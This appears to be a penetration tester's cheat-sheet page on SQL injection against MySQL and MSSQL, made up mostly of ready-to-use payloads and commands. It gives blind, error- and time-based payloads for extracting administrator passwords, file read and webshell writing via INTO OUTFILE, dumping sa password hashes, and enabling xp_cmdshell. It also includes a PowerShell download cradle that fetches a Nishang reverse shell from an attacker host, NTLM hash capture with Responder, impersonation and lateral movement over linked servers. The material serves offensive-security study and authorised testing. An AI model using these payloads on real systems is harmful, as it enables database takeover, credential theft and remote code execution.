SQLi
SQL Injection.
Is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
Types:
In-band : Printed response (Union-based, Error-based)
Blind : Non-printed response (Boolean-based, Time-based)
Out-of-band : No access (needs to redirect to DNS, for example)
Steps:
Find number of columns (order by or union) and type.
Find TRUE and FALSE conditions. If not possible because they have same output try with error and time delay. Finally try with Out-of-band.
Find Vectors (
union …) and Boundaries (’<VECTORS>-- -)
CheatSheet PostgreSQL, MySQL, MSSQL, Oracle
Tools
Automatic SQL injection and database takeover tool. See HERE, or the documentation. (Uses a syntax similar to curl)
Identify MySQL
SELECT @@version
In-band, If it is not MySQL it returns an error
SELECT SLEEP(5)
Blind, If it is not MySQL it returns an error
Enumeration DB
@@version / version()
MySQL version
database()
Get the current database in use
INFORMATION_SCHEMA
Database that contains all the information.
Main tables:
SCHEMATA (SCHEMA_NAME db name)
TABLES (TABLE_NAME,TABLE_SCHEMA)
COLUMNS (TABLE_NAME,TABLE_SCHEMA,COLUMN_NAME)
GLOBAL_VARIABLES (variable_name,variable_value)
Dot Notation (.) to refer to other databases.
User & Privileges
user() / current_user() / user FROM mysql.user
Get the current user in use
SELECT super_priv FROM mysql.user WHERE user="<NAME>"
View if a user is DBA, Database Administrator with Administrator privileges. To see all fields: mysql.user
SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="''@'localhost'"
View all privileges of a user. Check if you have FILE that allows me to read and write files.
To see all fields: INFORMATION_SCHEMA.USER_PRIVILEGES
Action
See Web Root.
show variables like "secure_file_priv";
The secure_file_priv variable determines from where you can read and write (NULL=no files/directories, EMPTY=entire file system). Read the value of the variable from INFORMATION_SCHEMA.GLOBAL_VARIABLES.
MariaDB has secure_file_priv default to EMPTY.
MySQL has secure_file_priv default to /var/lib/mysql-files or NULL on some modern configs.
READ
SELECT LOAD_FILE(<PATH>)
If the user has FILE privilege and secure_file_priv empty or with interesting path, it is possible to read files via LOAD_FILE() function. Also used to print source code.
WRITE
SELECT '<STRING>' INTO OUTFILE '<PATH>'
or
SELECT FROM_BASE64(“<BASE64>” ) INTO OUTFILE '<PATH>'
If the user has FILE privilege and secure_file_priv empty or with interesting path, you can write the output of a select to a file with INTO OUTFILE. With long or binary files use base64. Also used to write webshell on the target.
Payload
Table
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET 0Column
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABELLA>' LIMIT 1 OFFSET 0Error
SELECT count(*), concat(( <PAYLOAD_TO_PRINT> ), 0x20 , floor(rand(0)*2)) as x FROM information_schema.tables group by x; -- -Sometimes in Blind SQLi the condition true and false generate the same output. You can, however, use the Error-Base SQLi to get the true and false condition.
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a# example
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, {}, 1) = '{}') THEN 1/0 ELSE 'a' END FROM Users)='a
# oracle
xyz' AND (SELECT CASE WHEN SUBSTR(password,{},1)='{}' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='aBlind with Hex
For the code
DICTIONARY = '0123456789abcdef'
STRING = ""
WHILE until it doesn't match anything in the dictionary:
For each <X> in DICTIONARY:
1) PAYLOAD = - In-Band Payload (what I want to read with blind technique)
- Returned in HEX().
- Renamed as elment.
es. SELECT HEX(<column>) AS element FROM <table> LIMIT 1 OFFSET 0
2) K' and (SELECT 1 FROM (PAYLOAD) as payload WHERE element LIKE 'STRING<X>%') =1 -- -
3) If we have the true condition:
STRING += X
BREAK
else:
BREAK
Print with: bytes.fromhex(STRING).decode()Time
Substitute the SELECT 1 above with SLEEP(1)
Enumeration
With impacket-mssqlclient
enum_db
enum_links
enum_impersonate
enum_logins
enum_users # to see sysadmin users
enum_owner Check sysadmin
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER(‘sysadmin’)Credentials sa
Check if it is possible to recover the password hash of the sa account, which has full control over the DBMS.
SELECT name, password FROM master..sysxlogins # MSSQL Server 2000
SELECT name, password_hash FROM master.sys.sql_logins # >= 2005xp_cmdshell
Procedure that allows you to execute commands, but is disabled by default and requires sa privileges (both to execute commands and to enable/disable xp_cmdshell).
EXEC master..xp_cmdshell '<command>'xp_cmdshell <COMANDO>EXEC sp_configure 'show advanced options', 1 ; # or EXECUTE
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;EXEC sp_configure 'xp cmdshell' 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;Prepare the reverse shell file
sudo apt install nishang
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
# Add to the end of the file
Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <PORT1>Set up the server
python3 -m http.server
# and
rlwrap -cAr nc -lnvpCommand
xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://<IP>:<PORT2>/rev.ps1')"Read file
We can read files, of course if we have the appropriate permissions.
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS ContentsOther info HERE (ex. write file)
NTLM Hash Recovery
We can retrieve and steal the password hash of the MSSQL service account, under which the DB is running, which is different from the one in MSSQL. To do this we use responder.
sudo responder -I <INTERFACE>EXEC master..xp_dirtree '\\<IP>\share\'
EXEC master..xp_subdirs '\\<IP>\share\'Impersonation
With the special permission, called IMPERSONATE, it is possible to impersonate other users by assuming their permissions. Administrators can impersonate anyone, while for others, privileges must be explicitly assigned.
Tip: Do in DB master
USE masterIdentifying users we can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'Impersonation
EXECUTE AS LOGIN = '<WHO>'Check
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')Communication with other DBs
If we can access a SQL Server with a linked server configured, we may be able to move laterally on that database server. We can try to execute commands if we have the appropriate permissions. Note: It is possible that only some users can execute commands on those DB links, try with everyone, even impersonated ones.
Identify connected servers (try all)
SELECT srvname, isremote FROM sysserversExecuting commands
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
# or
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [SQLEXPRESS]Note: If we need to use quotes in our query to run on the linked server, we need to use two single quotes to escape the single quote.
Get SID
SELECT SUSER_SID('SIGNED\IT');Then you can convert it
python3 -c "
binary_sid = '<VALUE_TO_INSERT>'
sid_bytes = bytes.fromhex(binary_sid)
import struct
revision = sid_bytes[0]
sub_authority_count = sid_bytes[1]
identifier_authority = struct.unpack('>Q', b'\x00\x00' + sid_bytes[2:8])[0]
sub_authorities = []
for i in range(8, len(sid_bytes), 4):
sub_authorities.append(struct.unpack('<I', sid_bytes[i:i+4])[0])
sid_str = f'S-{revision}-{identifier_authority}' + ''.join(f'-{sub}' for sub in sub_authorities[:sub_authority_count])
print(sid_str)
"Payload
Blind with time delay
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--# example
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, {}, 1) > '{}') = 1 WAITFOR DELAY '0:0:{delay}'--Last updated
Was this helpful?